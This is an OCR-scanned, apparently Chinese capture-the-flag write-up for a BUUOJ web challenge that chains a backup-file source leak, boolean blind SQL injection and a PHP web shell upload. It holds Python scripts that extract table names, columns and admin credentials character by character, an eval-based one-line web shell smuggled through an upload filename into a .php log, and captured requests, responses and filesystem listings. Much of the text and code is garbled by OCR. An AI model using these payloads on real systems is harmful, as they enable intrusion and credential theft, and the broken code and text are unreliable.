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PilE: robots.txt

User-agent: *
Disallow: *.php.bak

RIIEAFTE *.php.bak &4 XM, HMEEFFFE index.php « image.php « user.php
HR X F AT Vi 16

Not Found

The requested URL /user.php.bak was not found on this server.

Apache/2.4.7 (Ubuntu) Server at 44c9cc3b-aa02-4f64-bdab-9e2ccad4b5b8c.nodel.buuoj.cn Port 80

I T3 image.php.bak 3C14:

php
include "config.php";

isset( ["id"]) ["id"]:"1";
isset( ["path"]) ["path"]:"";

addslashes( );
addslashes( );

str_replace(array("\\0","%00","\\"'",""'"),"",
str_replace(array("\\0","%00","\\'",""'"),"", IE

mysqli_query( ,"select * from images where id="{ }' or path="{
mysqli_ fetch_array( ,MYSQLI_ASSOC);

"./" . $rou["path"];
header("Content-Type: image/jpeg");
readfile( );
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"\\e";
echo .'<br>';
addslashes( )

echo .'<br>';
str_replace(array("\\0","%00","\\"",""'"),"", );

echo ;
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WEL R, \\o FEEANTE $id WG, BHhEEE A \0, BAiT addslashes() BRI, 8 ¢$id="\\0", H
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SQLiEHZE A :

select from images where id='\"' or path='{$path}’

Hep\' BT FRABBEERNK * 8559, BIZE ¢$id KEAN: \' or path=
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?id=\\@&path 1=if(length(database())>1,1,-1)%23
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AUARIERKMELE, WOGEEEEREIEN, BRRAMBEET A RAL:

if(ascii(substr((select group concat(table name) from information_schema.tables where table_ schema=database() ),
©,1))=1,1,-1)%23

AL A Python3 B i 4,

"http://44c9cc3b-aab2-4f64-bdab-9e2ccaddb58c.node3.buuoj.cn/image.php?id=\\0&path=or 1="
table_name

for i in range(1, 50):

for ¢ in range(127, 0, -1):

payload 'if(ascii(substr((select group_concat(table _name) from information_schema.tables where table_s
chema=database() ),%d,1))=%d,1,-1)%%23" (i, o)
r = requests.get(url+payload)

if "JFIF" in r.text:
table_name chr(c)
print(table_name)

break
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BRTHAIR: images . users
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users ©x7573657273

13& 3R E %1 4 i) Payload:

if(ascii(substr((select group concat(column_name) from information_schema.columns where table name=0x7573657273
),0,1))=1,1,-1)%23

1§ Fi Python3 i1 A< S 31 -

import requests

url ‘http://44c9cc3b-aal2-4f64-bdab-9e2ccaddb58c.node3.buuoj.cn/image.php?id=\\0&path=or 1="
flag v
column_name

for i in range(1, 50):
for ¢ in range(127, 0, -1):

payload "if(ascii(substr((select group_concat(column_name) from information_schema.columns where table
name=0x7573657273 ),%d,1))=%d,1,-1)%%23" % (i, c)
r = requests.get(url+payload)

if "JFIF" in r.text:
column_name chr(c)
print(table_name)

break
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select group_concat(username) from users

Python3 il 4 ;

import requests

for i in range(1, 50):
for c in range(127, 0, -1):
payload "if(ascii(substr((select group_concat(username) from users),%d,1))=%d,1,-1)%%23" (i, c)
r = requests.get(url+payload)

if "JFIF" in r.text:
username chr(c)
print(username)
break

BEIM 48 admin
select group_concat(password) from users
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a9%9ebacca®74dle4792
a9%ebaccafljadles7924

BRI HEI: a99ebaccad74d1e47924

CENSEEAGE

admin
@99ebacca®74d1e47924

Hello, admin!
Filename: | M8t | RIS

| Submit I

HNFG, X EETIEE, SENERR . txt X

Hello, admin!
Filename: ‘ pvin = Pvg = ’1.txt

| Submit |

EAE)E, AHEE:

| logged the file name you uploaded to
logs/upload.5bb9dfd7bff7729972381d3f45d6f07a.log.php. LOL

YR IERAERE S, ZRELXHEEA—AEARSD:

<?php @eval($_POST['hack']); ?>
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/ Request to http://44c9cc3b-aa02-4f64-b4ab-9e2ccad44b58c.node3.buuoj.cn:80 [111.73.46.229]

{ Forward J L Drop J { Intercept is on ) Action Comment this item W @

Raw | Params | Headers | Hex

1 POST /upload.php HTTP/1.1

2 Host: 44c9cc3b-aal02-4f64-bdab-9e2ccad4b58c.node3.buuoj.cn
3 Content-Length: 282

4 Cache-Control: max-age=0

5 Upgrade-Insecure-Requests: 1

6

7

8

T

Origin: http://44c9cc3b-aa02-4f64-bdab-9e2ccad4b58c.node3.buuoj.cn
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarytAKrWB3hGxJd29PT
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac O0S X 11_0_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
9 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;g=0.9
10 Referer: http://44c9cc3b-aal2-4f64-bdab-9e2ccasd4b58c.node3.buuoj.cn/user.php
11 Accept-Encoding: gzip, deflate
12 Accept-Language: zh-CN,zh;g=0.9
13 Cookie: UM distinctid=1763b3112bc8ac-0d205f9bflcb9d-63112c72-1fa400-1763b3112bd8ab; username=QE5FDx4%3D
14 Connection: close

16 —————= WebKitFormBoundarytAKrWB3hGxJd29PT
17 Content-Disposition: form-data; name="file"; filename="1l.txt"
18 Content-Type: text/plain

21 ——mmm WebKitFormBoundarytAKrWB3hGxJd29PT
22 Content-Disposition: form-data; name="submit"

24 Submit
25 ————=- WebKitFormBoundarytAKrWB3hGxJd29PT-—

Content-Disposition: form-data; name="file"; filename="1.txt"

B Content-Disposition FZ % filename HIMEN: <?php @eval($_POST['hack']); ?>

Response

J RawT Headers T Hex T HTML T Render ]

1 HTTP/1.1 200 OK A

2 Server: openresty B

3 Date: Wed, 09 Dec 2020 07:30:44 GMT

4 Content-Type: text/html

5 Content-Length: 86

6 Connection: close

7 Vary: Accept-Encoding

8 X-Powered-By: PHP/5.5.9-lubuntud.29

9

10 You cant upload php file.<script>setTimeout('location.href="user.php"',
3000);</script>

GEIERASESS

Response

J RawT Headers T Hex T HTML T Render ]

1 HTTP/1.1 200 OK A

2 Server: openresty r

3 Date: Wed, 09 Dec 2020 07:30:44 GMT

4 Content-Type: text/html

5 Content-Length: 86

6 Connection: close

7 Vary: Accept-Encoding

8 X-Powered-By: PHP/5.5.9-1lubuntu4.29

9

10 You cant upload php file.<script>setTimeout('location.href="user.php"',
3000);</script>
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Response
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<?= @eval($_POST['hack']); ?>, fEABREE:

=] & LA e L RS

[=JY=1N- -]

HTTP/1.1 200 OK

Server: openresty

Date: Wed, 09 Dec 2020 07:34:28 GHT
Content-Type: text/html
Content-Length: 157

Connection: close

Vary: Accept-Encoding

X-Powered-By: PHP/5.5.9%-lubuntu4.29

I logged the file name you uploaded to
logs/upload.Sbb3dfd7bf£7729972381d3f45d6f07a.log.php. LOL<
script>setTimeout( location.href="user.php"',3000);</script
>
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URLEHE * http://175bc058-b031-422a-928c-ef081571e3f8.node3.buuoi.cnflogs/uplo:
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EERER PHP v
) default (Fi£7)
) random (35
() base6d
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' .dockerenv
S O - ALE CRH @ #AEEFR MEE -/
+ [l var -
= bin
= boot O dev
I dev O et
| etc O home
I home 0 b
b O libs4
I ibs4 0 media
I media 0 mt
I mnt 5 opt
| opt
M proc O proc
I root O root
= run B mn

HH
2020-12-09 07:58:53
2020-12-09 07:58:53
2019-09-01 08:57:40
2015-01-28 16:28:45
2015-01-28 16:28:38
2015-01-28 16:28:17
2014-04-10 22:12:14
2015-01-28 16:28:17
2020-12-09 07:58:53
2015-02-19 19:52:28

2020-12-09 07:58:55

<?= ?>
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45b
34b
6b
6b
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0b
49b
75b

> iz

44
0755
0755
0755
0755
0755
0755
0755
0755
0555
0700
0755
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£ / BRTHE flag :

5 i§48: /flag

[flag

1 flag{20cl840d-3082-45ed-bbcc-27fd840f7564}

2

shin

sys
tmp

usr

var
.dockerenv

flag

2014-10-01 20:41:22
2015-01-28 16:28:17
2020-10-23 01:33:36
2020-12-09 08:04:18
2015-01-28 18:36:59
2015-02-17 21:14:27
2020-12-09 07:58:53

2020-12-09 07:58:55
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0755
0555
1777
0755
0755
0755
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